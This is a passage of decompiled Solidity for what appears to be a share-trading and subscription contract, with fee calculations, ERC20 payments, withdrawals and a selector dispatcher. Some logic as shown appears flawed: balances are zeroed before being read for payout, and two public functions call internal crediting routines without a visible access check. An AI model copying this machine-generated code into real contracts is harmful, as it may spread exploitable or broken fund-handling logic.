    require(!((v0 + (63 + (~0x1f & varg0.length + 31) & ~0x1f) < v0) | (v0 + (63 + (~0x1f & varg0.length + 31) & ~0x1f) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
    require(4 + varg0 + varg0.length + 32 <= msg.data.length);
    CALLDATACOPY(v0.data, varg0.data, varg0.length);
    v0[varg0.length] = 0;
    require(varg1 == varg1);
    v1 = _SafeMul(msg.value, _protocolFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v2 = _SafeMul(msg.value, _referralFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v3 = _SafeSub(msg.value, v1 / 0xde0b6b3a7640000);
    v4 = _SafeSub(v3, v2 / 0xde0b6b3a7640000);
    v5 = _SafeMul(v4, map_a3[varg1]);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v6 = _SafeSub(v4, v5 / 0xde0b6b3a7640000);
    0x2f7b(v2 / 0xde0b6b3a7640000, varg1);
    0x307c(v1 / 0xde0b6b3a7640000);
    0x2b17(v5 / 0xde0b6b3a7640000, varg1);
    v7 = new bytes[](v0.length);
    v8 = v9 = 0;
    while (v8 < v0.length) {
        v7[v8] = v0[v8];
        v8 += 32;
    }
    if (v8 > v0.length) {
        v7[v0.length] = 0;
    }
    emit 0xeb24b9ea57a72171ad7b1203170c4f599c7df7c0b4a56ad2a734fb216103f379(msg.sender, varg1, v7, msg.value, v1 / 0xde0b6b3a7640000, v2 / 0xde0b6b3a7640000, v5 / 0xde0b6b3a7640000, v6, address(0x0));
}

function getBuyPriceAfterFee(address varg0, uint256 varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    v0 = 0x1a9b(varg1, _sharesSupply[varg0], varg0);
    v1 = _SafeMul(v0, _protocolFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v2 = _SafeMul(v0, _subjectFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v3 = _SafeMul(v0, _referralFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v4 = _SafeAdd(v0, v1 / 0xde0b6b3a7640000);
    v5 = _SafeAdd(v4, v2 / 0xde0b6b3a7640000);
    v6 = _SafeAdd(v5, v3 / 0xde0b6b3a7640000);
    return v6;
}

function getMyShares(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return _getMyShares[varg0][msg.sender];
}

function referralFeePercent() public nonPayable { 
    return _referralFeePercent;
}

function initialPrice() public nonPayable { 
    return _initialPrice;
}

function 0x1e306d6c(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    v0 = 0xeeb(varg0);
    return v0;
}

function () public payable { 
}

function 0x2035d1c0(address varg0, address varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    require(varg1 == varg1);
    return owner_a6[varg1][varg0];
}

function getSellPriceAfterFee(address varg0, uint256 varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    v0 = 0x2774(varg1, varg0);
    v1 = _SafeMul(v0, _protocolFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v2 = _SafeMul(v0, _subjectFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v3 = _SafeMul(v0, _referralFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v4 = _SafeSub(v0, v1 / 0xde0b6b3a7640000);
    v5 = _SafeSub(v4, v2 / 0xde0b6b3a7640000);
    v6 = _SafeSub(v5, v3 / 0xde0b6b3a7640000);
    return v6;
}

function 0x24aac703(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    v0 = 0xfd5(varg0);
    return v0;
}

function subjectFeePercent() public nonPayable { 
    return _subjectFeePercent;
}

function withdrawERC20() public nonPayable { 
    require(uint8(_allowedTokens[address(_withdrawERC20[msg.sender])]), Error('Token not allowed'));
    require(owner_ad[msg.sender][address(_withdrawERC20[msg.sender])], Error('No funds to withdraw'));
    owner_ad[msg.sender][address(_withdrawERC20[msg.sender])] = 0;
    require(bool((address(address(_withdrawERC20[msg.sender]))).code.size));
    v0, /* bool */ v1 = address(_withdrawERC20[msg.sender]).transfer(msg.sender, owner_ad[msg.sender][address(_withdrawERC20[msg.sender])]).gas(msg.gas);
    require(bool(v0), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v1 == bool(v1));
}

function 0x362b935f(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return address(owner_a2[varg0]);
}

function 0x39ebea9d(bytes varg0, address varg1, address varg2, uint256 varg3) public payable { 
    require(msg.data.length - 4 >= 128);
    require(varg0 <= uint64.max);
    require(4 + varg0 + 31 < msg.data.length);
    require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
    v0 = new bytes[](varg0.length);
    require(!((v0 + (63 + (~0x1f & varg0.length + 31) & ~0x1f) < v0) | (v0 + (63 + (~0x1f & varg0.length + 31) & ~0x1f) > uint64.max)), Panic(65)); // failed memory allocation (too much memory)
    require(4 + varg0 + varg0.length + 32 <= msg.data.length);
    CALLDATACOPY(v0.data, varg0.data, varg0.length);
    v0[varg0.length] = 0;
    require(varg1 == varg1);
    require(varg2 == varg2);
    v1 = _SafeMul(varg3, _protocolFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v2 = _SafeMul(varg3, _referralFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v3 = _SafeSub(varg3, v1 / 0xde0b6b3a7640000);
    v4 = _SafeSub(v3, v2 / 0xde0b6b3a7640000);
    v5 = _SafeMul(v4, map_a3[varg1]);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v6 = _SafeSub(v4, v5 / 0xde0b6b3a7640000);
    require(bool((address(varg2)).code.size));
    v7, /* bool */ v8 = varg2.transferFrom(varg1, _protocolFeeDestination, v1 / 0xde0b6b3a7640000).gas(msg.gas);
    require(bool(v7), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v8 == bool(v8));
    require(bool((address(varg2)).code.size));
    v9, /* bool */ v10 = varg2.transferFrom(varg1, address(owner_a2[address(varg1)]), v2 / 0xde0b6b3a7640000).gas(msg.gas);
    require(bool(v9), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v10 == bool(v10));
    0x24f4(v5 / 0xde0b6b3a7640000, varg2, varg1);
    v11 = new bytes[](v0.length);
    v12 = v13 = 0;
    while (v12 < v0.length) {
        v11[v12] = v0[v12];
        v12 += 32;
    }
    if (v12 > v0.length) {
        v11[v0.length] = 0;
    }
    emit 0xeb24b9ea57a72171ad7b1203170c4f599c7df7c0b4a56ad2a734fb216103f379(msg.sender, varg1, v11, varg3, v1 / 0xde0b6b3a7640000, v2 / 0xde0b6b3a7640000, v5 / 0xde0b6b3a7640000, v6, varg2);
}

function withdraw() public payable { 
    require(_pendingWithdrawals[msg.sender], Error('No funds to withdraw'));
    _pendingWithdrawals[msg.sender] = 0;
    v0, /* uint256 */ v1 = msg.sender.call().value(_pendingWithdrawals[msg.sender]).gas(msg.gas);
    if (RETURNDATASIZE() != 0) {
        v2 = new bytes[](RETURNDATASIZE());
        RETURNDATACOPY(v2.data, 0, RETURNDATASIZE());
    }
    require(v0, Error('Withdraw failed'));
}

function subscribe(address varg0) public payable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    require(msg.value == _subscribe[varg0], Error('Incorrect subscription amount sent'));
    require(uint8(_setSubscriptionPrice[address(varg0)]), Error('Subscription not available'));
    v0 = v1 = _SafeAdd(block.timestamp, _subscriptionDuration);
    if (block.timestamp < owner_a6[varg0][msg.sender]) {
        v0 = v2 = _SafeAdd(owner_a6[varg0][msg.sender], _subscriptionDuration);
    }
    owner_a6[varg0][msg.sender] = v0;
    v3 = _SafeMul(msg.value, _protocolFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v4 = _SafeMul(msg.value, _referralFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v5 = _SafeSub(msg.value, v3 / 0xde0b6b3a7640000);
    v6 = _SafeSub(v5, v4 / 0xde0b6b3a7640000);
    v7 = _SafeMul(v6, map_a3[varg0]);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v8 = _SafeSub(v6, v7 / 0xde0b6b3a7640000);
    0x2b17(v7 / 0xde0b6b3a7640000, varg0);
    0x30ef(v8, varg0);
    0x307c(v3 / 0xde0b6b3a7640000);
    0x2f7b(v4 / 0xde0b6b3a7640000, msg.sender);
    emit 0xd4596a517111d608b9457ba70f2d105a4eb1c14feec605a601c001b4bd449b55(msg.sender, varg0, v0, _subscribe[varg0], v3 / 0xde0b6b3a7640000, v4 / 0xde0b6b3a7640000, v7 / 0xde0b6b3a7640000, v8, address(0x0));
}

function 0x43be3b7a(address varg0, uint256 varg1, uint256 varg2) public nonPayable { 
    require(msg.data.length - 4 >= 96);
    require(varg0 == varg0);
    require(uint8(_allowedTokens[address(varg0)]), Error('Token not allowed'));
    require(varg2 <= 0xde0b6b3a7640000, Error('Invalid revenue share'));
    _withdrawERC20[msg.sender] = varg0 | bytes12(_withdrawERC20[msg.sender]);
    _subscribe[msg.sender] = varg1;
    _setSubscriptionPrice[msg.sender] = 0x1 | bytes31(_setSubscriptionPrice[msg.sender]);
    map_a3[msg.sender] = varg2;
    MEM[32] = 164;
    emit 0x2b80f3389927a748c3f1535b8ff3920cc2fea305827c6f5b3292487cd1b9d202(msg.sender, _subscribe[msg.sender], bool(1), varg0, varg2);
}

function getBuyPrice(address varg0, uint256 varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    v0 = 0x1a9b(varg1, _sharesSupply[varg0], varg0);
    return v0;
}

function 0x4ae4ed95(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    v0 = 0x1840(varg0);
    return v0;
}

function protocolFeeDestination() public nonPayable { 
    return _protocolFeeDestination;
}

function 0x5632b2e4(uint256 varg0, uint256 varg1, uint256 varg2, uint256 varg3) public nonPayable { 
    require(msg.data.length - 4 >= 128);
    require(!uint8(owner_a1[msg.sender]), Error('Weights already initialized'));
    require(!owner_a7[msg.sender].field0.length, Error("Can't change weights after shares have been issued"));
    require(varg0 > 0, Error('Weight A must be greater than 0'));
    require(varg1 > 0, Error('Weight A must be greater than 0'));
    require(varg2 > 0, Error('Weight C must be greater than 0'));
    owner_9d[msg.sender] = varg0;
    owner_9e[msg.sender] = varg1;
    owner_9f[msg.sender] = varg2;
    owner_a0[msg.sender] = varg3;
    owner_a1[msg.sender] = 0x1 | bytes31(owner_a1[msg.sender]);
}

function getPrice(address varg0, uint256 varg1, uint256 varg2) public nonPayable { 
    require(msg.data.length - 4 >= 96);
    require(varg0 == varg0);
    v0 = 0x1a9b(varg2, varg1, varg0);
    return v0;
}

function 0x57ecf981(address varg0, uint256 varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    require(uint8(_allowedTokens[address(_withdrawERC20[address(varg0)])]), Error('Token not allowed'));
    require(uint8(_setSubscriptionPrice[address(varg0)]), Error('Subscription not available'));
    require(varg1 >= _subscribe[varg0], Error('Incorrect subscription amount sent'));
    v0 = v1 = _SafeAdd(block.timestamp, _subscriptionDuration);
    if (block.timestamp < owner_a6[varg0][msg.sender]) {
        v0 = v2 = _SafeAdd(owner_a6[varg0][msg.sender], _subscriptionDuration);
    }
    owner_a6[varg0][msg.sender] = v0;
    v3 = _SafeMul(varg1, _protocolFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v4 = _SafeMul(varg1, _referralFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v5 = _SafeSub(varg1, v3 / 0xde0b6b3a7640000);
    v6 = _SafeSub(v5, v4 / 0xde0b6b3a7640000);
    v7 = _SafeMul(v6, map_a3[varg0]);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v8 = _SafeSub(v6, v7 / 0xde0b6b3a7640000);
    require(bool((address(address(_withdrawERC20[address(varg0)]))).code.size));
    v9, /* bool */ v10 = address(_withdrawERC20[address(varg0)]).transferFrom(msg.sender, varg0, v8).gas(msg.gas);
    require(bool(v9), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v10 == bool(v10));
    require(bool((address(address(_withdrawERC20[address(varg0)]))).code.size));
    v11, /* bool */ v12 = address(_withdrawERC20[address(varg0)]).transferFrom(msg.sender, _protocolFeeDestination, v3 / 0xde0b6b3a7640000).gas(msg.gas);
    require(bool(v11), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v12 == bool(v12));
    require(bool((address(address(_withdrawERC20[address(varg0)]))).code.size));
    v13, /* bool */ v14 = address(_withdrawERC20[address(varg0)]).transferFrom(msg.sender, address(owner_a2[msg.sender]), v4 / 0xde0b6b3a7640000).gas(msg.gas);
    require(bool(v13), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    require(v14 == bool(v14));
    0x24f4(v7 / 0xde0b6b3a7640000, address(_withdrawERC20[address(varg0)]), varg0);
    emit 0xd4596a517111d608b9457ba70f2d105a4eb1c14feec605a601c001b4bd449b55(msg.sender, varg0, v0, varg1, v3 / 0xde0b6b3a7640000, v4 / 0xde0b6b3a7640000, v7 / 0xde0b6b3a7640000, v8, address(_withdrawERC20[address(varg0)]));
}

function setSubjectFeePercent(uint256 varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    0x3162();
    _subjectFeePercent = varg0;
}

function 0x5f575b6f(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return address(_withdrawERC20[varg0]);
}

function 0x606b5df4(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return bool(uint8(_setSubscriptionPrice[address(varg0)]));
}

function setReferralFeePercent(uint256 varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    0x3162();
    _referralFeePercent = varg0;
}

function buyShares(address varg0, uint256 varg1) public payable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    0x2058(varg1, varg0);
}

function 0x6993981c(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return _subscribe[varg0];
}

function 0x6c40fc3c(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    v0 = 0x2329(varg0);
    return v0;
}

function renounceOwnership() public nonPayable { 
    0x3162();
    _owner = 0;
    emit OwnershipTransferred(_owner, address(0x0));
}

function subscriptionDuration() public nonPayable { 
    return _subscriptionDuration;
}

function 0x7b5d9154(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return owner_9f[varg0];
}

function 0x7dff3998(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return bool(uint8(_setSubscriptionPrice[varg0]));
}

function initialize() public nonPayable { 
    v0 = v1 = !_initialize;
    if (!_initialize) {
        v0 = v2 = stor_0_0_0 < 1;
    }
    if (!v0) {
        v0 = v3 = !this.code.size;
        if (!bool(this.code.size)) {
            v0 = 1 == stor_0_0_0;
        }
    }
    require(v0, Error('Initializable: contract is already initialized'));
    stor_0_0_0 = 1;
    if (!_initialize) {
        _initialize = 1;
    }
    require(_initialize, Error('Initializable: contract is not initializing'));
    require(_initialize, Error('Initializable: contract is not initializing'));
    _owner = msg.sender;
    emit OwnershipTransferred(_owner, msg.sender);
    require(_initialize, Error('Initializable: contract is not initializing'));
    require(_initialize, Error('Initializable: contract is not initializing'));
    stor_65 = 1;
    _protocolFeeDestination = 0xb7461cf331a3a940e69b9deea98fa43fd357f571;
    _subjectFeePercent = 0xf8b0a10e470000;
    _protocolFeePercent = 0x470de4df820000;
    _referralFeePercent = 0x2386f26fc10000;
    _initialPrice = 0xe35fa931a0000;
    _subscriptionDuration = 0x278d00;
    if (_initialize) {
        // Unknown jump to Block 0x4402. Refer to 3-address code (TAC);
    } else {
        _initialize = 0;
        emit Initialized(1);
    }
}

function 0x8512f3f9(address varg0, address varg1, uint256 varg2) public nonPayable { 
    require(msg.data.length - 4 >= 96);
    require(varg0 == varg0);
    require(varg1 == varg1);
    0x24f4(varg2, varg1, varg0);
}

function owner() public nonPayable { 
    return _owner;
}

function 0x90ae27df(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return owner_a0[varg0];
}

function getSellPrice(address varg0, uint256 varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    v0 = 0x2774(varg1, varg0);
    return v0;
}

function setInitialPrice(uint256 varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    0x3162();
    _initialPrice = varg0;
}

function 0xa000a774(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return map_a3[varg0];
}

function setProtocolFeePercent(uint256 varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    0x3162();
    _protocolFeePercent = varg0;
}

function 0xa7b411ed(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return _sharesSupply[varg0];
}

function 0xaac35d87(address varg0, uint256 varg1, address varg2) public payable { 
    require(msg.data.length - 4 >= 96);
    require(varg0 == varg0);
    require(varg2 == varg2);
    if (varg2) {
        0x326c(varg2, msg.sender);
    }
    v0 = _SafeSub(_sharesSupply[varg0], varg1);
    v1 = 0x1a9b(varg1, v0, varg0);
    v2 = _SafeMul(v1, _protocolFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v3 = _SafeMul(v1, _subjectFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v4 = _SafeMul(v1, _referralFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    require(varg1 <= _getMyShares[varg0][msg.sender], Error('Insufficient shares'));
    require(varg1 > 0, Error('Amount must be greater than 0'));
    v5 = _SafeSub(_getMyShares[varg0][msg.sender], varg1);
    _getMyShares[varg0][msg.sender] = v5;
    v6 = _SafeSub(_sharesSupply[varg0], varg1);
    _sharesSupply[varg0] = v6;
    v7 = 0x1a9b(1, _sharesSupply[varg0], varg0);
    v8 = _SafeSub(_sharesSupply[varg0], varg1);
    v9 = _SafeSub(v1, v2 / 0xde0b6b3a7640000);
    v10 = _SafeSub(v9, v3 / 0xde0b6b3a7640000);
    v11 = _SafeSub(v10, v4 / 0xde0b6b3a7640000);
    0x30ef(v11, msg.sender);
    0x307c(v2 / 0xde0b6b3a7640000);
    0x30ef(v3 / 0xde0b6b3a7640000, varg0);
    if (v4 / 0xde0b6b3a7640000) {
        0x2f7b(v4 / 0xde0b6b3a7640000, msg.sender);
    }
    if (!_getMyShares[varg0][msg.sender]) {
        0x330f(msg.sender, varg0);
    }
    emit 0xc9d4f93ded9b42fa24561e02b2a40f720f71601eb1b3f7b3fd4eff20877639ee(msg.sender, varg0, bool(0), varg1, v1, v2 / 0xde0b6b3a7640000, v3 / 0xde0b6b3a7640000, v4 / 0xde0b6b3a7640000, v8, v7, _getMyShares[varg0][msg.sender]);
}

function 0xae339df6(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return _subscribe[varg0];
}

function 0xaecf9f8f(address varg0, address varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    require(varg1 == varg1);
    return owner_ad[varg0][varg1];
}

function sellShares(address varg0, uint256 varg1) public payable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    v0 = _SafeSub(_sharesSupply[varg0], varg1);
    v1 = 0x1a9b(varg1, v0, varg0);
    v2 = _SafeMul(v1, _protocolFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v3 = _SafeMul(v1, _subjectFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    v4 = _SafeMul(v1, _referralFeePercent);
    require(0xde0b6b3a7640000, Panic(18)); // division by zero
    require(varg1 <= _getMyShares[varg0][msg.sender], Error('Insufficient shares'));
    require(varg1 > 0, Error('Amount must be greater than 0'));
    v5 = _SafeSub(_getMyShares[varg0][msg.sender], varg1);
    _getMyShares[varg0][msg.sender] = v5;
    v6 = _SafeSub(_sharesSupply[varg0], varg1);
    _sharesSupply[varg0] = v6;
    v7 = 0x1a9b(1, _sharesSupply[varg0], varg0);
    v8 = _SafeSub(_sharesSupply[varg0], varg1);
    v9 = _SafeSub(v1, v2 / 0xde0b6b3a7640000);
    v10 = _SafeSub(v9, v3 / 0xde0b6b3a7640000);
    v11 = _SafeSub(v10, v4 / 0xde0b6b3a7640000);
    0x30ef(v11, msg.sender);
    0x307c(v2 / 0xde0b6b3a7640000);
    0x30ef(v3 / 0xde0b6b3a7640000, varg0);
    if (v4 / 0xde0b6b3a7640000) {
        0x2f7b(v4 / 0xde0b6b3a7640000, msg.sender);
    }
    if (!_getMyShares[varg0][msg.sender]) {
        0x330f(msg.sender, varg0);
    }
    emit 0xc9d4f93ded9b42fa24561e02b2a40f720f71601eb1b3f7b3fd4eff20877639ee(msg.sender, varg0, bool(0), varg1, v1, v2 / 0xde0b6b3a7640000, v3 / 0xde0b6b3a7640000, v4 / 0xde0b6b3a7640000, v8, v7, _getMyShares[varg0][msg.sender]);
}

function allowToken(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    0x3162();
    _allowedTokens[varg0] = 0x1 | bytes31(_allowedTokens[address(varg0)]);
}

function 0xb9828389(address varg0, uint256 varg1) public payable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    0x2b17(varg1, varg0);
}

function 0xbc35ddcd(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return address(_withdrawERC20[address(varg0)]);
}

function 0xbc39b5ae(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return owner_9e[varg0];
}

function 0xca0ca2e1(address varg0, address varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    require(varg1 == varg1);
    return owner_a6[varg0][varg1];
}

function 0xcdcf70ec(address varg0, uint256 varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    require(varg1 < owner_a7[varg0].field0.length);
    return address(owner_a7[varg0].field0[varg1].field0);
}

function protocolFeePercent() public nonPayable { 
    return _protocolFeePercent;
}

function allowedTokens(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return bool(uint8(_allowedTokens[varg0]));
}

function disallowToken(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    0x3162();
    _allowedTokens[varg0] = bytes31(_allowedTokens[address(varg0)]);
}

function 0xe9ccf3a3(address varg0, uint256 varg1, address varg2) public payable { 
    require(msg.data.length - 4 >= 96);
    require(varg0 == varg0);
    require(varg2 == varg2);
    if (varg2) {
        0x326c(varg2, msg.sender);
    }
    0x2058(varg1, varg0);
}

function 0xee976de4() public nonPayable { 
    _setSubscriptionPrice[msg.sender] = bytes31(_setSubscriptionPrice[msg.sender]);
    emit 0x2b80f3389927a748c3f1535b8ff3920cc2fea305827c6f5b3292487cd1b9d202(msg.sender, 0, bool(0), address(0x0), 0);
}

function transferOwnership(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    0x3162();
    require(varg0, Error('Ownable: new owner is the zero address'));
    _owner = varg0;
    emit OwnershipTransferred(_owner, varg0);
}

function pendingWithdrawals(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return _pendingWithdrawals[varg0];
}

function 0xf6416ef6(address varg0, address varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    require(varg0 == varg0);
    require(varg1 == varg1);
    return bool(block.timestamp < owner_a6[address(varg1)][address(varg0)]);
}

function sharesSupply(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return _sharesSupply[varg0];
}

function setFeeDestination(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    0x3162();
    _protocolFeeDestination = varg0;
}

function 0xfc59a6be(address varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    require(varg0 == varg0);
    return owner_9d[varg0];
}

function setSubscriptionPrice(uint256 varg0, uint256 varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    require(varg1 <= 0xde0b6b3a7640000, Error('Invalid revenue share'));
    _subscribe[msg.sender] = varg0;
    _setSubscriptionPrice[msg.sender] = 0x1 | bytes31(_setSubscriptionPrice[msg.sender]);
    map_a3[msg.sender] = varg1;
    emit 0x2b80f3389927a748c3f1535b8ff3920cc2fea305827c6f5b3292487cd1b9d202(msg.sender, varg0, bool(1), address(0x0), varg1);
}

function 0xeeb(address varg0) private { 
    if (!uint8(owner_a1[address(varg0)])) {
        return 0xb1a2bc2ec500000;
    } else {
        return owner_9d[varg0];
    }
}

function 0xfd5(address varg0) private { 
    if (!uint8(owner_a1[address(varg0)])) {
        return 0;
    } else {
        return owner_a0[varg0];
    }
}

// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.

function __function_selector__(bytes4 function_selector) public payable { 
    MEM[64] = 128;
    if (msg.data.length < 4) {
        require(!msg.data.length);
        ();
    } else {
        v0 = function_selector >> 224;
        if (0x7b5d9154 > v0) {
            if (0x43be3b7a > v0) {
                if (0x2267a89c > v0) {
                    if (0x13c9440b > v0) {
                        if (0x20235ff == v0) {
                            sharesBalance(address,address);
                        } else if (0xc3b9300 == v0) {
                            0x0c3b9300();
                        } else if (0xf026f6d == v0) {
                            getBuyPriceAfterFee(address,uint256);
                        } else {
                            require(0x106b7a5f == v0);
                            getMyShares(address);
                        }
                    } else if (0x13c9440b == v0) {
                        referralFeePercent();
                    } else if (0x1d0806ae == v0) {
                        initialPrice();
                    } else if (0x1e306d6c == v0) {
                        0x1e306d6c();
                    } else {
                        require(0x2035d1c0 == v0);
                        0x2035d1c0();
                    }
                } else if (0x362b935f > v0) {
                    if (0x2267a89c == v0) {
                        getSellPriceAfterFee(address,uint256);
                    } else if (0x24aac703 == v0) {
                        0x24aac703();
                    } else if (0x24dc441d == v0) {
                        subjectFeePercent();
                    } else {
                        require(0x2ed6d5e8 == v0);
                        withdrawERC20();
                    }
                } else if (0x362b935f == v0) {
                    0x362b935f();
                } else if (0x39ebea9d == v0) {
                    0x39ebea9d();
                } else if (0x3ccfd60b == v0) {
                    withdraw();
                } else {
                    require(0x41a7726a == v0);
                    subscribe(address);
                }
            } else if (0x5f575b6f > v0) {
                if (0x5632b2e4 > v0) {
                    if (0x43be3b7a == v0) {
                        0x43be3b7a();
                    } else if (0x4635256e == v0) {
                        getBuyPrice(address,uint256);
                    } else if (0x4ae4ed95 == v0) {
                        0x4ae4ed95();
                    } else {
                        require(0x4ce7957c == v0);
                        protocolFeeDestination();
                    }
                } else if (0x5632b2e4 == v0) {
                    0x5632b2e4();
                } else if (0x5728f798 == v0) {
                    getPrice(address,uint256,uint256);
                } else if (0x57ecf981 == v0) {
                    0x57ecf981();
                } else {
                    require(0x5a8a764e == v0);
                    setSubjectFeePercent(uint256);
                }
            } else if (0x6993981c > v0) {
                if (0x5f575b6f == v0) {
                    0x5f575b6f();
                } else if (0x606b5df4 == v0) {
                    0x606b5df4();
                } else if (0x614524e2 == v0) {
                    setReferralFeePercent(uint256);
                } else {
                    require(0x6945b123 == v0);
                    buyShares(address,uint256);
                }
            } else if (0x6993981c == v0) {
                0x6993981c();
            } else if (0x6c40fc3c == v0) {
                0x6c40fc3c();
            } else if (0x715018a6 == v0) {
                renounceOwnership();
            } else {
                require(0x7a94a633 == v0);
                subscriptionDuration();
            }
        } else if (0xb9828389 > v0) {
            if (0xa000a774 > v0) {
                if (0x8da5cb5b > v0) {
                    if (0x7b5d9154 == v0) {
                        0x7b5d9154();
                    } else if (0x7dff3998 == v0) {
                        0x7dff3998();
                    } else if (0x8129fc1c == v0) {
                        initialize();
                    } else {
                        require(0x8512f3f9 == v0);
                        0x8512f3f9();
                    }
                } else if (0x8da5cb5b == v0) {
                    owner();
                } else if (0x90ae27df == v0) {
                    0x90ae27df();
                } else if (0x9ae71781 == v0) {
                    getSellPrice(address,uint256);
                } else {
                    require(0x9f4ba0ee == v0);
                    setInitialPrice(uint256);
                }
            } else if (0xae339df6 > v0) {
                if (0xa000a774 == v0) {
                    0xa000a774();
                } else if (0xa4983421 == v0) {
                    setProtocolFeePercent(uint256);
                } else if (0xa7b411ed == v0) {
                    0xa7b411ed();
                } else {
                    require(0xaac35d87 == v0);
                    0xaac35d87();
                }
            } else if (0xae339df6 == v0) {
                0xae339df6();
            } else if (0xaecf9f8f == v0) {
                0xaecf9f8f();
            } else if (0xb51d0534 == v0) {
                sellShares(address,uint256);
            } else {
                require(0xb53472ef == v0);
                allowToken(address);
            }
        } else if (0xe9ccf3a3 > v0) {
            if (0xcdcf70ec > v0) {
                if (0xb9828389 == v0) {
                    0xb9828389();
